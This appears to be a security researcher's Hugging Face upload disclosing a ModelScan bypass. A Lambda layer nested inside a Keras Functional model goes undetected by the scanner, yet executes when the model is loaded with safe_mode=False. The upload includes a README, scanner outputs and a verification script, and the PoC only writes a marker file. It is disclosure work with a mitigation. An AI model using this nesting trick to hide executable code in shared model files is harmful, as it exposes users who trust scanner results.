Upload folder using huggingface_hub

README.md

@@ -0,0 +1,71 @@
+---
+library_name: keras
+tags:
+  - security
+  - modelscan
+  - keras
+  - model-file-vulnerability
+---
+
+# Keras Native Nested Lambda ModelScan Bypass PoC
+
+This repository is a benign security proof of concept for the native Keras `.keras` model format. The model contains a nested `keras.layers.Lambda` layer whose inline Python lambda writes a local marker file when the artifact is loaded with `safe_mode=False`.
+
+## Files
+
+- `nested_lambda_native.keras` - native Keras zip model containing the nested Lambda layer.
+- `top_level_lambda_control.keras` - control artifact with a top-level Lambda that ModelScan does detect.
+- `verify_poc.py` - verifies the artifact hash, inspects `config.json`, runs ModelScan when installed, and demonstrates Keras runtime behavior.
+- `results.json` - captured local validation output.
+- `modelscan_nested_lambda.json` - ModelScan JSON output for the PoC artifact.
+- `modelscan_top_level_control.json` - ModelScan JSON output for a control artifact with a top-level Lambda.
+
+## Reproduction
+
+Use Python 3.12 and install the tested packages:
+
+```bash
+python -m pip install keras==3.14.1 tensorflow==2.21.0 modelscan==0.8.8 numpy==2.4.4 h5py==3.14.0
+python verify_poc.py
+```
+
+Expected behavior:
+
+- `keras.saving.load_model(..., safe_mode=True)` blocks the nested Lambda as unsafe.
+- `keras.saving.load_model(..., safe_mode=False)` creates `keras_native_marker.txt` with the marker string `KERAS_NATIVE_NESTED_LAMBDA_EXECUTED`.
+- `modelscan scan -p nested_lambda_native.keras -r json --show-skipped` reports zero issues for the nested-Lambda model.
+- A top-level Lambda control is detected by ModelScan as `Use of unsafe operator 'Lambda' from module 'Keras'`, showing the bypass is caused by nested config traversal.
+
+## Scanner Output Summary
+
+Tested scanner: ModelScan 0.8.8.
+
+PoC artifact:
+
+- Total issues: 0
+- Scanned files: `nested_lambda_native.keras`
+- Nested Lambda location: `root.config.layers[1].config.layers[1]`
+- Top-level layers visible to the current ModelScan Keras logic: `InputLayer`, `Functional`
+
+Control artifact:
+
+- Total issues: 1
+- Severity: MEDIUM
+- Operator: `Lambda`
+- Source: `top_level_lambda_control.keras:config.json`
+
+## Artifact Details
+
+- File: `nested_lambda_native.keras`
+- SHA256: `066bd70a8946b41400372d8312704b939c8d233b9e61e895527ade3d1fe3783e`
+- Size: 18,590 bytes
+
+## Security Impact
+
+ModelScan's Keras native scanner detects top-level Lambda layers but misses Lambda layers nested inside a Functional model contained by the outer model. A user or service relying on ModelScan to identify unsafe Lambda deserialization in `.keras` files can receive a zero-issue scan result even though Keras itself later reaches the embedded Lambda and, when unsafe deserialization is enabled, executes the lambda's Python code during model loading.
+
+This PoC is intentionally benign and only writes a local marker file. It does not perform network access, persistence, credential access, or destructive actions.
+
+## Mitigation
+
+Recursively traverse the entire Keras `config.json` object graph for unsafe layer classes and function configs rather than checking only top-level `config.layers`. Treat any nested `class_name == "Lambda"` or serialized `__lambda__` function as unsafe regardless of depth.

modelscan_nested_lambda.json

@@ -0,0 +1 @@
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T10:28:45.461464", "scanned": {"total_scanned": 1, "scanned_files": ["nested_lambda_native.keras"]}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "nested_lambda_native.keras:metadata.json"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "nested_lambda_native.keras:config.json"}, {"category": "MODEL_CONFIG", "description": "Model Config not found", "source": "nested_lambda_native.keras:model.weights.h5"}]}}, "issues": [], "errors": []}

modelscan_top_level_control.json

@@ -0,0 +1 @@
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 1, "HIGH": 0, "CRITICAL": 0}, "total_issues": 1, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T10:28:51.543546", "scanned": {"total_scanned": 1, "scanned_files": ["top_level_lambda_control.keras"]}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "top_level_lambda_control.keras:metadata.json"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "top_level_lambda_control.keras:config.json"}, {"category": "MODEL_CONFIG", "description": "Model Config not found", "source": "top_level_lambda_control.keras:model.weights.h5"}]}}, "issues": [{"description": "Use of unsafe operator 'Lambda' from module 'Keras'", "operator": "Lambda", "module": "Keras", "source": "top_level_lambda_control.keras:config.json", "scanner": "modelscan.scanners.KerasLambdaDetectScan", "severity": "MEDIUM"}], "errors": []}

requirements.txt

@@ -0,0 +1,5 @@
+keras==3.14.1
+tensorflow==2.21.0
+modelscan==0.8.8
+numpy==2.4.4
+h5py==3.14.0

results.json

@@ -0,0 +1,164 @@
+{
+  "artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras",
+  "sha256": "066bd70a8946b41400372d8312704b939c8d233b9e61e895527ade3d1fe3783e",
+  "size_bytes": 18590,
+  "python": "3.12.12 (main, Oct 28 2025, 14:15:42) [MSC v.1944 64 bit (AMD64)]",
+  "top_level_layers_seen_by_modelscan_logic": [
+    "InputLayer",
+    "Functional"
+  ],
+  "nested_lambda_locations": [
+    "root.config.layers[1].config.layers[1]"
+  ],
+  "unsafe_load_safe_mode_false": {
+    "cmd": [
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\python.exe",
+      "-c",
+      "import os, pathlib, keras\nos.environ['KERAS_NATIVE_MARKER'] = r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\keras_native_marker.txt'\np = pathlib.Path(r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\keras_native_marker.txt')\np.unlink(missing_ok=True)\nkeras.saving.load_model(r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras', safe_mode=False)\nprint(p.exists())\n"
+    ],
+    "returncode": 0,
+    "stdout": "True\n",
+    "stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561912.429402   12080 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561914.722833   12080 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING:tensorflow:From C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\backend\\tensorflow\\core.py:232: The name tf.placeholder is deprecated. Please use tf.compat.v1.placeholder instead.\n\nWARNING:tensorflow:TensorFlow GPU support is not available on native Windows for TensorFlow >= 2.11. Even if CUDA/cuDNN are installed, GPU will not be used. Please use WSL2 or the TensorFlow-DirectML plugin.\n"
+  },
+  "safe_load_safe_mode_true": {
+    "cmd": [
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\python.exe",
+      "-c",
+      "import keras\nkeras.saving.load_model(r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras', safe_mode=True)\n"
+    ],
+    "returncode": 1,
+    "stdout": "",
+    "stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561916.407528    9948 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561918.961785    9948 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nTraceback (most recent call last):\n  File \"<string>\", line 2, in <module>\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_api.py\", line 188, in load_model\n    return saving_lib.load_model(\n           ^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_lib.py\", line 362, in load_model\n    return _load_model_from_fileobj(\n           ^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_lib.py\", line 439, in _load_model_from_fileobj\n    model = _model_from_config(\n            ^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_lib.py\", line 428, in _model_from_config\n    model = deserialize_keras_object(\n            ^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\serialization_lib.py\", line 737, in deserialize_keras_object\n    instance = cls.from_config(inner_config)\n               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\model.py\", line 827, in from_config\n    return functional_from_config(\n           ^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 606, in functional_from_config\n    process_layer(layer_data)\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 573, in process_layer\n    layer = serialization_lib.deserialize_keras_object(\n            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\serialization_lib.py\", line 737, in deserialize_keras_object\n    instance = cls.from_config(inner_config)\n               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\model.py\", line 827, in from_config\n    return functional_from_config(\n           ^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 606, in functional_from_config\n    process_layer(layer_data)\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 573, in process_layer\n    layer = serialization_lib.deserialize_keras_object(\n            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\serialization_lib.py\", line 737, in deserialize_keras_object\n    instance = cls.from_config(inner_config)\n               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\layers\\core\\lambda_layer.py\", line 191, in from_config\n    cls._raise_for_lambda_deserialization(safe_mode)\n  File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\layers\\core\\lambda_layer.py\", line 172, in _raise_for_lambda_deserialization\n    raise ValueError(\nValueError: Requested the deserialization of a `Lambda` layer whose `function` is a Python lambda. This carries a potential risk of arbitrary code execution and thus it is disallowed by default. If you trust the source of the artifact, you can override this error by passing `safe_mode=False` to the loading function, or calling `keras.config.enable_unsafe_deserialization().\n",
+    "blocked": true
+  },
+  "marker_created": true,
+  "modelscan_run": {
+    "cmd": [
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\modelscan.exe",
+      "scan",
+      "-p",
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras",
+      "-r",
+      "json",
+      "-o",
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\modelscan_nested_lambda.json",
+      "--show-skipped"
+    ],
+    "returncode": 0,
+    "stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\modelscan-settings.toml. Using defaults. \n\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras using modelscan.scanners.KerasLambdaDetectScan model scan\nModel Config not found in: C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras:model.weights.h5\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras:model.weights.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 0, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 0, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\\\\nested_lambda_native.keras\",\n\"absolute_path\": \"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T10:28:45.461464\", \n\"scanned\": {\"total_scanned\": 1, \"scanned_files\": \n[\"nested_lambda_native.keras\"]}, \"skipped\": {\"total_skipped\": 3, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"nested_lambda_native.keras:metadata.json\"}, \n{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan did not scan \nfile\", \"source\": \"nested_lambda_native.keras:config.json\"}, {\"category\": \n\"MODEL_CONFIG\", \"description\": \"Model Config not found\", \"source\": \n\"nested_lambda_native.keras:model.weights.h5\"}]}}, \"issues\": [], \"errors\": []}\n",
+    "stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561920.920037   26880 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561924.603649   26880 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n"
+  },
+  "modelscan_json": {
+    "summary": {
+      "total_issues_by_severity": {
+        "LOW": 0,
+        "MEDIUM": 0,
+        "HIGH": 0,
+        "CRITICAL": 0
+      },
+      "total_issues": 0,
+      "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras",
+      "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab",
+      "modelscan_version": "0.8.8",
+      "timestamp": "2026-05-12T10:28:45.461464",
+      "scanned": {
+        "total_scanned": 1,
+        "scanned_files": [
+          "nested_lambda_native.keras"
+        ]
+      },
+      "skipped": {
+        "total_skipped": 3,
+        "skipped_files": [
+          {
+            "category": "SCAN_NOT_SUPPORTED",
+            "description": "Model Scan did not scan file",
+            "source": "nested_lambda_native.keras:metadata.json"
+          },
+          {
+            "category": "SCAN_NOT_SUPPORTED",
+            "description": "Model Scan did not scan file",
+            "source": "nested_lambda_native.keras:config.json"
+          },
+          {
+            "category": "MODEL_CONFIG",
+            "description": "Model Config not found",
+            "source": "nested_lambda_native.keras:model.weights.h5"
+          }
+        ]
+      }
+    },
+    "issues": [],
+    "errors": []
+  },
+  "control_artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras",
+  "control_sha256": "9c0b598e59abf86328ffdfbd73ce1712c63a9d2908d7da068ca7b757f00d93d7",
+  "control_modelscan_run": {
+    "cmd": [
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\modelscan.exe",
+      "scan",
+      "-p",
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras",
+      "-r",
+      "json",
+      "-o",
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\modelscan_top_level_control.json",
+      "--show-skipped"
+    ],
+    "returncode": 1,
+    "stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\modelscan-settings.toml. Using defaults. \n\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras using modelscan.scanners.KerasLambdaDetectScan model scan\nModel Config not found in: C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras:model.weights.h5\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras:model.weights.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 1, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 1, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\\\\top_level_lambda_control.ker\nas\", \"absolute_path\": \"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T10:28:51.543546\", \n\"scanned\": {\"total_scanned\": 1, \"scanned_files\": \n[\"top_level_lambda_control.keras\"]}, \"skipped\": {\"total_skipped\": 3, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"top_level_lambda_control.keras:metadata.json\"}, \n{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan did not scan \nfile\", \"source\": \"top_level_lambda_control.keras:config.json\"}, {\"category\": \n\"MODEL_CONFIG\", \"description\": \"Model Config not found\", \"source\": \n\"top_level_lambda_control.keras:model.weights.h5\"}]}}, \"issues\": \n[{\"description\": \"Use of unsafe operator 'Lambda' from module 'Keras'\", \n\"operator\": \"Lambda\", \"module\": \"Keras\", \"source\": \n\"top_level_lambda_control.keras:config.json\", \"scanner\": \n\"modelscan.scanners.KerasLambdaDetectScan\", \"severity\": \"MEDIUM\"}], \"errors\": \n[]}\n",
+    "stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561926.688095    8744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561930.393518    8744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n"
+  },
+  "control_modelscan_json": {
+    "summary": {
+      "total_issues_by_severity": {
+        "LOW": 0,
+        "MEDIUM": 1,
+        "HIGH": 0,
+        "CRITICAL": 0
+      },
+      "total_issues": 1,
+      "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras",
+      "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab",
+      "modelscan_version": "0.8.8",
+      "timestamp": "2026-05-12T10:28:51.543546",
+      "scanned": {
+        "total_scanned": 1,
+        "scanned_files": [
+          "top_level_lambda_control.keras"
+        ]
+      },
+      "skipped": {
+        "total_skipped": 3,
+        "skipped_files": [
+          {
+            "category": "SCAN_NOT_SUPPORTED",
+            "description": "Model Scan did not scan file",
+            "source": "top_level_lambda_control.keras:metadata.json"
+          },
+          {
+            "category": "SCAN_NOT_SUPPORTED",
+            "description": "Model Scan did not scan file",
+            "source": "top_level_lambda_control.keras:config.json"
+          },
+          {
+            "category": "MODEL_CONFIG",
+            "description": "Model Config not found",
+            "source": "top_level_lambda_control.keras:model.weights.h5"
+          }
+        ]
+      }
+    },
+    "issues": [
+      {
+        "description": "Use of unsafe operator 'Lambda' from module 'Keras'",
+        "operator": "Lambda",
+        "module": "Keras",
+        "source": "top_level_lambda_control.keras:config.json",
+        "scanner": "modelscan.scanners.KerasLambdaDetectScan",
+        "severity": "MEDIUM"
+      }
+    ],
+    "errors": []
+  }
+}

verify_poc.py

@@ -0,0 +1,131 @@
+import hashlib
+import json
+import os
+import shutil
+import subprocess
+import sys
+import zipfile
+from pathlib import Path
+
+
+ROOT = Path(__file__).resolve().parent
+MODEL = ROOT / "nested_lambda_native.keras"
+MARKER = ROOT / "keras_native_marker.txt"
+EXPECTED_SHA256 = "066bd70a8946b41400372d8312704b939c8d233b9e61e895527ade3d1fe3783e"
+
+
+def sha256(path):
+    h = hashlib.sha256()
+    with open(path, "rb") as f:
+        for chunk in iter(lambda: f.read(1024 * 1024), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def find_lambdas():
+    with zipfile.ZipFile(MODEL, "r") as zf:
+        config = json.loads(zf.read("config.json"))
+    top_layers = [
+        layer.get("class_name")
+        for layer in config.get("config", {}).get("layers", [])
+    ]
+    locations = []
+
+    def walk(obj, trail="root"):
+        if isinstance(obj, dict):
+            if obj.get("class_name") == "Lambda":
+                locations.append(trail)
+            for key, value in obj.items():
+                walk(value, f"{trail}.{key}")
+        elif isinstance(obj, list):
+            for index, value in enumerate(obj):
+                walk(value, f"{trail}[{index}]")
+
+    walk(config)
+    return top_layers, locations
+
+
+def run_modelscan():
+    modelscan = shutil.which("modelscan")
+    if not modelscan:
+        candidate = Path(sys.executable).resolve().parent / "modelscan.exe"
+        if candidate.exists():
+            modelscan = str(candidate)
+    if not modelscan:
+        return {
+            "available": False,
+            "message": "modelscan executable was not found on PATH",
+        }
+    output = ROOT / "verify_modelscan.json"
+    proc = subprocess.run(
+        [
+            modelscan,
+            "scan",
+            "-p",
+            str(MODEL),
+            "-r",
+            "json",
+            "-o",
+            str(output),
+            "--show-skipped",
+        ],
+        cwd=ROOT,
+        text=True,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+    )
+    data = json.loads(output.read_text()) if output.exists() else None
+    return {
+        "available": True,
+        "returncode": proc.returncode,
+        "stdout": proc.stdout,
+        "stderr": proc.stderr,
+        "json": data,
+    }
+
+
+def run_runtime_checks():
+    import keras
+
+    MARKER.unlink(missing_ok=True)
+    safe_mode_error = None
+    try:
+        keras.saving.load_model(MODEL, safe_mode=True)
+    except Exception as exc:
+        safe_mode_error = type(exc).__name__ + ": " + str(exc).splitlines()[0]
+
+    os.environ["KERAS_NATIVE_MARKER"] = str(MARKER)
+    keras.saving.load_model(MODEL, safe_mode=False)
+    marker_text = MARKER.read_text() if MARKER.exists() else ""
+    return {
+        "safe_mode_true_blocked": safe_mode_error is not None,
+        "safe_mode_true_error": safe_mode_error,
+        "safe_mode_false_marker_created": MARKER.exists(),
+        "marker_text": marker_text,
+    }
+
+
+def main():
+    digest = sha256(MODEL)
+    top_layers, lambda_locations = find_lambdas()
+    modelscan_result = run_modelscan()
+    runtime_result = run_runtime_checks()
+    result = {
+        "model": str(MODEL),
+        "sha256": digest,
+        "sha256_matches": digest == EXPECTED_SHA256,
+        "size_bytes": MODEL.stat().st_size,
+        "top_level_layers": top_layers,
+        "lambda_locations": lambda_locations,
+        "modelscan": modelscan_result,
+        "runtime": runtime_result,
+    }
+    print(json.dumps(result, indent=2))
+    if not result["sha256_matches"]:
+        raise SystemExit("unexpected model hash")
+    if not runtime_result["safe_mode_false_marker_created"]:
+        raise SystemExit("unsafe load did not create marker")
+
+
+if __name__ == "__main__":
+    main()